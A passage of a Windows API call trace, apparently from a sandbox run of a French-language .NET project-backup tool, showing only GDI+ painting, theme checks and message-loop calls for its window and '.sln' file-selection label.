IsAppThemed () returned 0x1 [0257.467] GetThemeAppProperties () returned 0x3 [0257.467] GetThemeAppProperties () returned 0x3 [0257.467] IsThemePartDefined () returned 0x1 [0257.467] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0257.467] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0257.467] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0257.467] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0257.467] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0257.467] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.467] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0257.467] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.467] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.467] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0257.468] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.468] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0257.468] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0257.468] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0257.468] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0257.468] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0257.468] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0257.468] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.468] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.468] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.468] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.468] SaveDC (hdc=0x5d0101a0) returned 1 [0257.468] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb6040221 [0257.468] GetClipRgn (hdc=0x5d0101a0, hrgn=0xb6040221) returned 0 [0257.468] SelectClipRgn (hdc=0x5d0101a0, hrgn=0x8a0401e4) returned 2 [0257.468] DeleteObject (ho=0xb6040221) returned 1 [0257.468] DeleteObject (ho=0x8a0401e4) returned 1 [0257.468] OffsetViewportOrgEx (in: hdc=0x5d0101a0, x=0, y=0, lppt=0x23bdfec | out: lppt=0x23bdfec) returned 1 [0257.468] IsAppThemed () returned 0x1 [0257.468] GetThemeAppProperties () returned 0x3 [0257.468] GetThemeAppProperties () returned 0x3 [0257.469] DrawThemeBackground () returned 0x0 [0257.469] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.469] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.469] GdipCreateRegion (region=0x52e790) returned 0x0 [0257.469] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0257.469] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0257.469] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0257.469] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0257.469] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.469] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0257.469] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.469] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0257.469] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0257.469] LocalFree (hMem=0x4fa4c70) returned 0x0 [0257.469] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0257.469] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0257.469] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0257.469] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0257.470] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0257.470] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0257.470] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.470] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.470] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.470] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.470] SaveDC (hdc=0x5d0101a0) returned 1 [0257.470] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8b0401e4 [0257.470] GetClipRgn (hdc=0x5d0101a0, hrgn=0x8b0401e4) returned 0 [0257.470] SelectClipRgn (hdc=0x5d0101a0, hrgn=0xb7040221) returned 2 [0257.470] DeleteObject (ho=0x8b0401e4) returned 1 [0257.470] DeleteObject (ho=0xb7040221) returned 1 [0257.470] OffsetViewportOrgEx (in: hdc=0x5d0101a0, x=0, y=0, lppt=0x23be2c0 | out: lppt=0x23be2c0) returned 1 [0257.470] IsAppThemed () returned 0x1 [0257.470] GetThemeAppProperties () returned 0x3 [0257.470] GetThemeAppProperties () returned 0x3 [0257.470] GetThemeBackgroundContentRect () returned 0x0 [0257.470] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.470] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.470] IsAppThemed () returned 0x1 [0257.470] GetThemeAppProperties () returned 0x3 [0257.471] GetThemeAppProperties () returned 0x3 [0257.471] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0257.471] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0257.471] GetCurrentObject (hdc=0x5d0101a0, type=0x1) returned 0x1b00017 [0257.471] GetCurrentObject (hdc=0x5d0101a0, type=0x2) returned 0x1900010 [0257.471] GetCurrentObject (hdc=0x5d0101a0, type=0x7) returned 0xa0506be [0257.471] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.471] SaveDC (hdc=0x5d0101a0) returned 1 [0257.471] GetTextAlign (hdc=0x5d0101a0) returned 0x0 [0257.471] GetTextColor (hdc=0x5d0101a0) returned 0x0 [0257.471] GetCurrentObject (hdc=0x5d0101a0, type=0x6) returned 0x18a002e [0257.471] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0257.471] SelectObject (hdc=0x5d0101a0, h=0xc0a01e7) returned 0x18a002e [0257.471] GetBkMode (hdc=0x5d0101a0) returned 2 [0257.471] SetBkMode (hdc=0x5d0101a0, mode=1) returned 2 [0257.471] DrawTextExW (in: hdc=0x5d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23be654 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0257.472] DrawTextExW (in: hdc=0x5d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23be654 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0257.472] RestoreDC (hdc=0x5d0101a0, nSavedDC=-1) returned 1 [0257.472] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.472] GetFocus () returned 0x10186 [0257.472] IsAppThemed () returned 0x1 [0257.472] GetThemeAppProperties () returned 0x3 [0257.472] GetThemeAppProperties () returned 0x3 [0257.472] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0257.472] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x5d0101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0257.472] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d0101a0) returned 0x0 [0257.472] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0257.472] SelectObject (hdc=0x5d0101a0, h=0x185000f) returned 0xa0506be [0257.472] DeleteDC (hdc=0x5d0101a0) returned 1 [0257.472] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0257.473] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0257.473] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.473] IsWindowUnicode (hWnd=0x10186) returned 1 [0257.473] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.473] GetKeyState (nVirtKey=16) returned 0 [0257.473] GetKeyState (nVirtKey=17) returned 0 [0257.473] GetKeyState (nVirtKey=18) returned 0 [0257.473] TranslateMessage (lpMsg=0x52ef98) returned 1 [0257.473] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.473] GetKeyState (nVirtKey=16) returned 0 [0257.473] GetKeyState (nVirtKey=17) returned 0 [0257.473] GetKeyState (nVirtKey=18) returned 0 [0257.473] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0257.473] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.473] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.473] WaitMessage () returned 1 [0257.533] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.533] IsWindowUnicode (hWnd=0x101a4) returned 1 [0257.533] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.533] TranslateMessage (lpMsg=0x52ef98) returned 0 [0257.533] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.533] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.533] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.533] WaitMessage () returned 1 [0257.741] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.741] IsWindowUnicode (hWnd=0x101a6) returned 1 [0257.741] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0257.741] TranslateMessage (lpMsg=0x52ef98) returned 0 [0257.741] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0257.741] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.741] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0257.741] WaitMessage () returned 1 [0261.303] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.303] IsWindowUnicode (hWnd=0x10186) returned 1 [0261.303] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.303] GetKeyState (nVirtKey=16) returned 0 [0261.303] GetKeyState (nVirtKey=17) returned 0 [0261.303] GetKeyState (nVirtKey=18) returned -127 [0261.303] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0261.303] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0261.303] GetKeyState (nVirtKey=16) returned 0 [0261.303] GetKeyState (nVirtKey=17) returned 0 [0261.303] GetKeyState (nVirtKey=18) returned -127 [0261.303] TranslateMessage (lpMsg=0x52ef98) returned 1 [0261.303] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0261.303] GetKeyState (nVirtKey=16) returned 0 [0261.303] GetKeyState (nVirtKey=17) returned 0 [0261.303] GetKeyState (nVirtKey=18) returned -127 [0261.303] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0261.303] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.303] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.304] WaitMessage () returned 1 [0261.312] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0261.312] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0261.312] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.313] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0261.333] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0261.334] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0261.334] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0261.334] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0261.334] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0261.334] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0261.334] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0261.342] NtdllDefWindowProc_W () returned 0x0 [0261.343] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0261.343] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0261.343] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0261.343] GetCapture () returned 0x0 [0261.343] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0261.343] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0261.343] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0261.343] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0261.343] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.343] IsWindowUnicode (hWnd=0x10186) returned 1 [0261.343] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0261.343] TranslateMessage (lpMsg=0x52ef98) returned 0 [0261.343] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0261.343] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x701068c [0261.343] SelectPalette (hdc=0x701068c, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0261.343] CreateCompatibleDC (hdc=0x701068c) returned 0x710106a3 [0261.343] SelectObject (hdc=0x710106a3, h=0xa0506be) returned 0x185000f [0261.344] GdipCreateFromHDC (hdc=0x710106a3, graphics=0x52ea94) returned 0x0 [0261.344] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0261.344] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0261.344] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0261.344] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0261.344] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0261.344] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.344] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0261.344] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.344] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0261.344] GdipCreateRegion (region=0x52eadc) returned 0x0 [0261.344] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0261.344] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0261.344] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0261.344] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd850dbd) returned 0x0 [0261.344] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0261.344] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0261.344] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.344] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.344] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.345] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.345] SaveDC (hdc=0x710106a3) returned 1 [0261.345] GetNearestColor (hdc=0x710106a3, color=0xf0f0f0) returned 0xf0f0f0 [0261.345] GetNearestColor (hdc=0x710106a3, color=0xa0a0a0) returned 0xa0a0a0 [0261.345] GetNearestColor (hdc=0x710106a3, color=0x696969) returned 0x696969 [0261.345] GetNearestColor (hdc=0x710106a3, color=0xa0a0a0) returned 0xa0a0a0 [0261.345] GetNearestColor (hdc=0x710106a3, color=0x0) returned 0x0 [0261.345] GetNearestColor (hdc=0x710106a3, color=0xffffff) returned 0xffffff [0261.345] GetNearestColor (hdc=0x710106a3, color=0xe5e5e5) returned 0xe5e5e5 [0261.345] GetNearestColor (hdc=0x710106a3, color=0xd7d7d7) returned 0xd7d7d7 [0261.345] GetNearestColor (hdc=0x710106a3, color=0x0) returned 0x0 [0261.345] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.345] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.345] IsAppThemed () returned 0x1 [0261.345] GetThemeAppProperties () returned 0x3 [0261.345] GetThemeAppProperties () returned 0x3 [0261.345] IsAppThemed () returned 0x1 [0261.345] GetThemeAppProperties () returned 0x3 [0261.345] GetThemeAppProperties () returned 0x3 [0261.346] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x24df298 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetFocus () returned 0x0 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsThemePartDefined () returned 0x1 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsAppThemed () returned 0x1 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] GetThemeAppProperties () returned 0x3 [0261.346] IsThemePartDefined () returned 0x1 [0261.346] GdipCreateRegion (region=0x52e804) returned 0x0 [0261.346] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0261.346] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0261.346] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0261.347] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0261.347] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.347] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0261.347] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.347] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0261.347] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0261.347] LocalFree (hMem=0x4fa4c70) returned 0x0 [0261.347] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0261.347] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0261.347] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0261.347] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0261.347] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0261.347] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0261.347] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.347] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.347] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.347] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.347] SaveDC (hdc=0x710106a3) returned 1 [0261.347] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb8040221 [0261.347] GetClipRgn (hdc=0x710106a3, hrgn=0xb8040221) returned 0 [0261.347] SelectClipRgn (hdc=0x710106a3, hrgn=0x920401e4) returned 2 [0261.347] DeleteObject (ho=0xb8040221) returned 1 [0261.347] DeleteObject (ho=0x920401e4) returned 1 [0261.347] OffsetViewportOrgEx (in: hdc=0x710106a3, x=0, y=0, lppt=0x24df948 | out: lppt=0x24df948) returned 1 [0261.348] DrawThemeParentBackground () returned 0x0 [0261.348] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0261.348] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0261.348] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0261.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.348] GetSystemMetrics (nIndex=42) returned 0 [0261.348] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0261.348] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0261.348] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.348] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.348] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.348] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.348] SaveDC (hdc=0x710106a3) returned 2 [0261.348] GetNearestColor (hdc=0x710106a3, color=0xf0f0f0) returned 0xf0f0f0 [0261.348] CreateSolidBrush (color=0xf0f0f0) returned 0x2f1006b3 [0261.348] FillRect (hDC=0x710106a3, lprc=0x52e314, hbr=0x2f1006b3) returned 1 [0261.348] DeleteObject (ho=0x2f1006b3) returned 1 [0261.348] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.348] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0261.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.348] GetSystemMetrics (nIndex=42) returned 0 [0261.348] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.348] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0261.348] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0261.348] GetCurrentObject (hdc=0x710106a3, type=0x1) returned 0x1b00017 [0261.349] GetCurrentObject (hdc=0x710106a3, type=0x2) returned 0x1900010 [0261.349] GetCurrentObject (hdc=0x710106a3, type=0x7) returned 0xa0506be [0261.349] GetCurrentObject (hdc=0x710106a3, type=0x6) returned 0x18a002e [0261.349] SaveDC (hdc=0x710106a3) returned 2 [0261.349] GetNearestColor (hdc=0x710106a3, color=0xf0f0f0) returned 0xf0f0f0 [0261.349] CreateSolidBrush (color=0xf0f0f0) returned 0x301006b3 [0261.349] FillRect (hDC=0x710106a3, lprc=0x52e2b4, hbr=0x301006b3) returned 1 [0261.349] DeleteObject (ho=0x301006b3) returned 1 [0261.349] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.349] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0261.349] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.349] GetSystemMetrics (nIndex=42) returned 0 [0261.349] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.349] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0261.349] RestoreDC (hdc=0x710106a3, nSavedDC=-1) returned 1 [0261.349] GdipReleaseDC (graphics=0x4da5930, hdc=0x710106a3) returned 0x0 [0261.349] IsAppThemed () returned 0x1 [0261.349] GetThemeAppProperties () returned 0x3 [0261.349] GetThemeAppProperties () returned 0x3 [0261.349] IsAppThemed () returned 0x1 [0261.349] GetThemeAppProperties () returned 0x3 [0261.349] GetThemeAppProperties () returned 0x3 [0261.349] IsThemePartDefined () returned 0x1 [0261.349] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0261.349] GdipGetClip 